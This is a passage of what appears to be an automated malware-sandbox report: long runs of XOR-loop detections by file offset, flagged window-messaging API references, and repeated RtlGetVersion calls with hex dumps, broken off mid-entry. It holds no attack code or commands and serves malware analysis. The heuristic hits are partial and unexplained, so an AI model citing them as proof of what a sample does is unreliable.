1823474; code bytes = 33c1 Found XOR loop in file "explorcr.exe" at offset 2440013; code bytes = 33c1 Found XOR loop in file "explorcr.exe" at offset 2440019; code bytes = 33c1 Found XOR loop in file "explorcr.exe" at offset 33604; code bytes = 8030 Found XOR loop in file "explorcr.exe" at offset 136953; code bytes = 8030 Found XOR loop in file "explorcr.exe" at offset 213024; code bytes = 8030 Found XOR loop in file "explorcr.exe" at offset 1131134; code bytes = 8030 Found XOR loop in file "explorcr.exe" at offset 1131175; code bytes = 8030 Found XOR loop in file "explorcr.exe" at offset 1131195; code bytes = 8030 Found XOR loop in file "explorcr.exe" at offset 1132903; code bytes = 8030 Found XOR loop in file "explorcr.exe" at offset 1198334; code bytes = 8030 Found XOR loop in file "explorcr.exe" at offset 1320368; code bytes = 8030 Found XOR loop in file "explorcr.exe" at offset 1477083; code bytes = 8030 Found XOR loop in file "explorcr.exe" at offset 1478763; code bytes = 8030 Found XOR loop in file "explorcr.exe" at offset 1491413; code bytes = 8030 Found XOR loop in file "explorcr.exe" at offset 1501433; code bytes = 8030 Found XOR loop in file "explorcr.exe" at offset 1505043; code bytes = 8030 Found XOR loop in file "explorcr.exe" at offset 1505843; code bytes = 8030 Found XOR loop in file "explorcr.exe" at offset 1509673; code bytes = 8030 Found XOR loop in file "explorcr.exe" at offset 1510213; code bytes = 8030 Found XOR loop in file "explorcr.exe" at offset 1522363; code bytes = 8030 Found XOR loop in file "explorcr.exe" at offset 1523173; code bytes = 8030 Found XOR loop in file "explorcr.exe" at offset 1523553; code bytes = 8030 Found XOR loop in file "explorcr.exe" at offset 1524003; code bytes = 8030 Found XOR loop in file "explorcr.exe" at offset 1545043; code bytes = 8030 Found XOR loop in file "explorcr.exe" at offset 1546103; code bytes = 8030 Found XOR loop in file "explorcr.exe" at offset 1546453; code bytes = 8030 Found XOR loop in file "explorcr.exe" at offset 1547413; code bytes = 8030 Found XOR loop in file "explorcr.exe" at offset 1549543; code bytes = 8030 Found XOR loop in file "explorcr.exe" at offset 1561223; code bytes = 8030 Found XOR loop in file "explorcr.exe" at offset 1651110; code bytes = 8030 Found XOR loop in file "explorcr.exe" at offset 1701480; code bytes = 8030 Found XOR loop in file "explorcr.exe" at offset 1879634; code bytes = 8030 Found XOR loop in file "explorcr.exe" at offset 1883090; code bytes = 8030 Found XOR loop in file "explorcr.exe" at offset 2437906; code bytes = 8030 Found XOR loop in file "explorcr.exe" at offset 3249863; code bytes = 8030 Found XOR loop in file "explorcr.exe" at offset 3257803; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 210172; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 305628; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 360916; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 428020; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 467298; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 690841; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 703004; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 895229; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 897243; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 920840; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 937776; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 967351; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 970681; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1025773; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1049102; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1067061; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1072956; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1145767; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1265254; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1277121; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1362806; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1571497; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1586492; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1744275; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1748648; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1752271; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1796437; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2156564; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2304012; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2430868; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2446605; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2561762; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2621544; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2640002; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2689269; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2715896; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2813640; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2898439; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2953667; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2997745; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3169464; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3236643; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3351825; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3459350; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3615379; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3657745; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3696926; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4227096; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4258722; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4274951; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4356137; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4365104; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4516532; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4537948; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4554242; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4725430; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4953439; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4998745; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5103976; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5172132; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5189993; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5268697; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5446308; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5457384; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5604066; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5681440; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5714741; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5848926; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6014827; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6207237; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6208077; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6215508; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6255040; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6257905; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6267209; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6270579; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6332014; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6340447; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6351074; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6356833; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6433260; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6441099; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6750221; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6848371; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6947739; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6951809; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7164804; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7294389; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7327838; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7389304; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7403913; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7528217; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7572690; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7985504; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 234292; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 251975; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 300011; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 311291; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 340810; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 385259; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 416984; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 421331; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 532633; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 547329; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 565669; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 657249; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 702999; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 708464; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 793453; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 924186; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 934839; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 942629; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 945871; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 949600; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 967609; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1041565; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1111459; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1184622; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1196362; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1205882; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1208648; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1356977; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1434742; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1542457; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1554140; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1686393; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1780415; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1785995; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1798629; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1831665; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1872231; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1951424; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2170932; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2210246; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2257787; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2303859; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2397447; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2418039; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2504873; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2702043; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2703803; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2735247; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2949557; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2984250; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3036717; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3068070; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3446192; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3494389; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3517456; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3590805; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3595282; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3711462; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3857539; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4269180; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4269975; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4293212; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4306341; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4576811; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4701303; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4797913; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4852696; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4891178; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4920377; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4924864; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4968124; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5029783; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5156007; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5177481; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5230306; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5346867; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5411538; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5449293; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5474140; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5496839; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5513470; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5556182; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5573395; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5605950; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5660954; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5772058; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5818896; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5821791; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5874534; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5896294; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5948474; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5968980; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6009905; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6061222; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6075036; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6084488; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6105048; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6122204; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6158196; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6230639; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6262146; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6305711; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6315827; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6389220; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6432194; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6477241; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6529354; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6697347; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6753654; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6809536; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6823741; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6887648; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6891012; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6967449; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6999021; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7012425; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7123650; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7127284; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7131746; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7132245; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7136121; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7143101; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7229327; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7252378; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7300707; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7325451; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7427499; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7428223; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7680726; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7730752; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7762793; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7778111; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7785434; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7809819; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7853586; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7953176; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1872321; code bytes = 30040e Found XOR loop in file "sample.bin" at offset 2293657; code bytes = 30040e Found XOR loop in file "sample.bin" at offset 24627; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 25903; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 53305; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 125891; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 145799; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 266867; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 688782; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 860419; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 887194; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 935490; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 988326; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1046254; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1072793; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1092689; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1112726; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1167707; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1171761; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1289128; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1308355; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1325210; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1358075; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1470186; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1735079; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1781719; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1958556; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1997330; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1998937; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2008055; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2143097; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2156750; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2195076; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2273071; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2328977; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2435165; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2482415; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2576849; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3008052; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3064092; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3150800; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3251160; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3392428; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3763310; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3795893; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3831860; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4343355; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4752878; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4760353; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4771513; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4818228; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4927816; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5102577; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5614096; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6201386; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6472106; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6986742; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7077856; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7438617; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7698404; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7761968; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7899998; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7956647; code bytes = 80302a:T735,Found reference to API "SendMessageA" (Indicator: "sendmessage"; File: "Launcher.exe") Found reference to API "FindWindowExA" (Indicator: "findwindow"; File: "Launcher.exe") Found reference to API "SendMessageTimeoutA" (Indicator: "sendmessage"; File: "Launcher.exe") Found reference to API "PostMessage" (Indicator: "postmessage"; Source: "00000000-00005992-00000C2B-1427042003") Found reference to API "PostMessageW" (Indicator: "postmessage"; Source: "00000000-00005992-00000C2B-1427042031") Found reference to API "SendMessage" (Indicator: "sendmessage"; Source: "00000000-00006668-00000C2B-1423192393") Found reference to API "SendMessageW" (Indicator: "sendmessage"; Source: "00000000-00006668-00000C2B-1423192419") Found reference to API "EnumWindows" (Indicator: "enumwindows"; Source: "00000000-00006668-00000C2B-1428111940") Found reference to API "EnumWindowsW" (Indicator: "enumwindows"; Source: "00000000-00006668-00000C2B-1428111968") Found reference to API "SendMessageA" (Indicator: "sendmessage"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API "FindWindowExA" (Indicator: "findwindow"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API "SendMessageTimeoutA" (Indicator: "sendmessage"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00005868.00000000.154394.03310000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00005992.00000000.154460.03A20000.00000004.mdmp, 00000000-00005992.00000001.156379.03A20000.00000004.mdmp, 00000000-00005992.00000002.158297.03A20000.00000004.mdmp")2b:T2506,"Launcher.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007048) "Launcher.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ffff00000000f8ca2f0138cf28779c385e0364cb2f010100000050385e039c385e0350385e03040000000400000000e010760010000064cb2f010100000050385e03cd9728779c972877f04cdc48b50f077650385e0300002877000000009417e1740000000080ee0d760100000000000000f8e21076000000000400000080a9bd7348400f76f8e2107668cb2f0180e8ee73b0e75e0380e8ee7364cb2f010000000080e8ee7390cb2f011b80080018cc2f0158060000b8d22f01642a9973363eb933f30b0000faffffffd0d22f010000000018000000000000001528a92c0000000000000000ffffffff0000000000000000000000000e87610324876103 (UID: 00000000-00007048) "Launcher.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007048) "Launcher.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000002f0118cc2f011b8008007c568c0074020000000000000000000000000000f8cb2f011b80080080cc2f015806000020d32f01180000001528a92c74020000000000004f578c727402000074020000000000000000000000002f0100000000000000001800000020d32f0180cc2f011b800800fd28a92c90ca2f014f578c72a8cb2f0150188e720515095ffeffffffb8cb2f01222a99737402000000000000000000000000000090cb2f011b80080018cc2f0158060000b8d22f01642a9973363eb933f30b0000faffffffd0d22f010000000018000000000000001528a92c0000000000000000ffffffff0000000000000000000000002e51610346516103 (UID: 00000000-00007048) "Launcher.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000002f0118cc2f011b8008007c568c0074020000000000000000000000000000f8cb2f011b80080080cc2f015806000020d32f01180000001528a92c74020000000000004f578c727402000074020000000000000000000000002f0100000000000000001800000020d32f0180cc2f011b800800fd28a92c90ca2f014f578c72a8cb2f0150188e720515095ffeffffffb8cb2f01222a99737402000000000000000000000000000090cb2f011b80080018cc2f0158060000b8d22f01642a9973363eb933f30b0000faffffffd0d22f010000000018000000000000001528a92c0000000000000000ffffffff000000000000000000000000b6516103ca516103 (UID: 00000000-00007048) "Launcher.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000002f0118cc2f011b8008007c568c0074020000000000000000000000000000f8cb2f011b80080080cc2f015806000020d32f01180000001528a92c74020000000000004f578c727402000074020000000000000000000000002f0100000000000000001800000020d32f0180cc2f011b800800fd28a92c90ca2f014f578c72a8cb2f0150188e720515095ffeffffffb8cb2f01222a99737402000000000000000000000000000090cb2f011b80080018cc2f0158060000b8d22f01642a9973363eb933f30b0000faffffffd0d22f010000000018000000000000001528a92c0000000000000000ffffffff00000000000000000000000056bc61036ebc6103 (UID: 00000000-00007048) "Launcher.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000002f0118cc2f011b8008007c568c0074020000000000000000000000000000f8cb2f011b80080080cc2f015806000020d32f01180000001528a92c74020000000000004f578c727402000074020000000000000000000000002f0100000000000000001800000020d32f0180cc2f011b800800fd28a92c90ca2f014f578c72a8cb2f0150188e720515095ffeffffffb8cb2f01222a99737402000000000000000000000000000090cb2f011b80080018cc2f0158060000b8d22f01642a9973363eb933f30b0000faffffffd0d22f010000000018000000000000001528a92c0000000000000000ffffffff00000000000000000000000056bc61036cbc6103 (UID: 00000000-00007048) "Launcher.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000002f0118cc2f011b8008007c568c0074020000000000000000000000000000f8cb2f011b80080080cc2f015806000020d32f01180000001528a92c74020000000000004f578c727402000074020000000000000000000000002f0100000000000000001800000020d32f0180cc2f011b800800fd28a92c90ca2f014f578c72a8cb2f0150188e720515095ffeffffffb8cb2f01222a99737402000000000000000000000000000090cb2f011b80080018cc2f0158060000b8d22f01642a9973363eb933f30b0000faffffffd0d22f010000000018000000000000001528a92c0000000000000000ffffffff000000000000000000000000bee56103d6e56103 (UID: 00000000-00007048) "Launcher.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000002f0118cc2f011b8008007c568c0074020000000000000000000000000000f8cb2f011b80080080cc2f015806000020d32f01180000001528a92c74020000000000004f578c727402000074020000000000000000000000002f0100000000000000001800000020d32f0180cc2f011b800800fd28a92c90ca2f014f578c72a8cb2f0150188e720515095ffeffffffb8cb2f01222a99737402000000000000000000000000000090cb2f011b80080018cc2f0158060000b8d22f01642a9973363eb933f30b0000faffffffd0d22f010000000018000000000000001528a92c0000000000000000ffffffff000000000000000000000000f6bb61030ebc6103 (UID: 00000000-00007048) "Launcher.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000e0c82f011b80080068c92f015806000008d02f01180000000d2ba92c74020000000000004f578c7200000000740200000000000000000000e0c82f0100000000000000001800000000002f0168c92f011b8008007c568c007402000000000000000000000000000048c92f011b800800d0c92f015806000070d02f0118000000a52aa92c74020000000000004f578c727402000074020000000000000000000048c92f0100000000000000001800000070d02f01d0c92f011b8008000d2ba92ce0c72f014f578c72f8c82f0150188e720000000000000000ffffffff000000000000000000000000de8c6303f68c6303 (UID: 00000000-00007048) "Launcher.exe" called "RtlGetVersion" with parameter 